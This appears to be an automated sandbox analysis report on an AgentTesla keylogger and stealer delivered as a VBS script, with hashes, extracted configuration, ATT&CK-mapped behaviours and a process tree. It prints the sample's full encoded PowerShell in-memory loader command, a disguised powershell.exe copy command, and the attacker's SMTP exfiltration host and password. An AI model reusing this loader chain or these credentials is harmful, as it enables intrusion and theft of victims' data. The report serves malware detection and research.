agenttesla | 929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2

Analysis

max time kernel
93s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16/11/2024, 09:53

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General

Target

929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs
Size

2.2MB
MD5

4bb2f623b8e05072ed01e7fd0e9a4e28
SHA1

b53851e2fb8d9da46d05c813da5612a04e72242f
SHA256

929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2
SHA512

b2740378d3d52935e8b3e52a6c4c74928de678dbf449a08796e2467cef341b03fe755132b4aaf4fa4a63428854a42749584acf779efce4340ab9c22cfca1e607
SSDEEP

49152:B20hVNq/RiQ4N+jRDSBTUxaWA/ZUgHYuhEBprt6:P+U

Score

10^/10

agenttesla discovery keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
nffplp.com
Port:
587
Username:
[email protected]
Password:
$Nke%8XIIDtm
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4880	4744	cmd.exe	83

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1288 created 3520	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe	56

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Xml.vbs	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe

Executes dropped EXE 1 IoCs

pid	Process
1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1288 set thread context of 4272	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	WScript.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe
1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe
1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe
4272	InstallUtil.exe
4272	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe
Token: SeDebugPrivilege	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe
Token: SeDebugPrivilege	4272	InstallUtil.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4272	InstallUtil.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 3400 wrote to memory of 1288	3400	WScript.exe	90
PID 3400 wrote to memory of 1288	3400	WScript.exe	90
PID 3400 wrote to memory of 1288	3400	WScript.exe	90
PID 1288 wrote to memory of 4272	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe	98
PID 1288 wrote to memory of 4272	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe	98
PID 1288 wrote to memory of 4272	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe	98
PID 1288 wrote to memory of 4272	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe	98
PID 1288 wrote to memory of 4272	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe	98
PID 1288 wrote to memory of 4272	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe	98
PID 1288 wrote to memory of 4272	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe	98
PID 1288 wrote to memory of 4272	1288	929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe	98

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3520
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs"
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3400
- - C:\Users\Admin\AppData\Local\Temp\929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe
    "C:\Users\Admin\AppData\Local\Temp\929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops startup file
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1288
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4272

C:\Windows\system32\cmd.exe
cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe" /Y
1⤵
- Process spawned unexpected child process
PID:4880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2.vbs.exe

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g1l3exvu.3gh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1288-4-0x000000007501E000-0x000000007501F000-memory.dmp

Filesize
4KB

Download
memory/1288-5-0x0000000005340000-0x0000000005376000-memory.dmp

Filesize
216KB

Download
memory/1288-6-0x0000000075010000-0x00000000757C0000-memory.dmp

Filesize
7.7MB

Download
memory/1288-7-0x0000000005B50000-0x0000000006178000-memory.dmp

Filesize
6.2MB

Download
memory/1288-8-0x0000000005930000-0x0000000005952000-memory.dmp

Filesize
136KB

Download
memory/1288-9-0x00000000059D0000-0x0000000005A36000-memory.dmp

Filesize
408KB

Download
memory/1288-10-0x0000000005A40000-0x0000000005AA6000-memory.dmp

Filesize
408KB

Download
memory/1288-20-0x0000000006180000-0x00000000064D4000-memory.dmp

Filesize
3.3MB

Download
memory/1288-21-0x00000000068E0000-0x00000000068FE000-memory.dmp

Filesize
120KB

Download
memory/1288-22-0x0000000006980000-0x00000000069CC000-memory.dmp

Filesize
304KB

Download
memory/1288-23-0x00000000078B0000-0x0000000007946000-memory.dmp

Filesize
600KB

Download
memory/1288-24-0x0000000006E20000-0x0000000006E3A000-memory.dmp

Filesize
104KB

Download
memory/1288-25-0x0000000006E70000-0x0000000006E92000-memory.dmp

Filesize
136KB

Download
memory/1288-26-0x0000000007F00000-0x00000000084A4000-memory.dmp

Filesize
5.6MB

Download
memory/1288-27-0x0000000008B30000-0x00000000091AA000-memory.dmp

Filesize
6.5MB

Download
memory/1288-28-0x0000000007A50000-0x0000000007C68000-memory.dmp

Filesize
2.1MB

Download
memory/1288-29-0x0000000007D90000-0x0000000007E88000-memory.dmp

Filesize
992KB

Download
memory/1288-30-0x0000000008750000-0x00000000087E2000-memory.dmp

Filesize
584KB

Download
memory/1288-31-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-40-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-64-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-70-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-94-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-92-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-90-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-88-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-86-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-84-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-82-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-80-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-78-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-76-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-74-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-72-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-68-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-66-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-62-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-60-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-58-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-56-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-54-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-50-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-48-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-46-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-44-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-42-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-38-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-37-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-34-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-32-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-52-0x0000000007D90000-0x0000000007E82000-memory.dmp

Filesize
968KB

Download
memory/1288-1105-0x00000000086E0000-0x000000000874A000-memory.dmp

Filesize
424KB

Download
memory/1288-1106-0x0000000005660000-0x00000000056AC000-memory.dmp

Filesize
304KB

Download
memory/1288-1110-0x0000000008860000-0x00000000088B4000-memory.dmp

Filesize
336KB

Download
memory/1288-1114-0x0000000075010000-0x00000000757C0000-memory.dmp

Filesize
7.7MB

Download
memory/4272-1115-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4272-1116-0x0000000006C60000-0x0000000006CB0000-memory.dmp

Filesize
320KB

Download
memory/4272-1117-0x0000000006D60000-0x0000000006D6A000-memory.dmp

Filesize
40KB

Download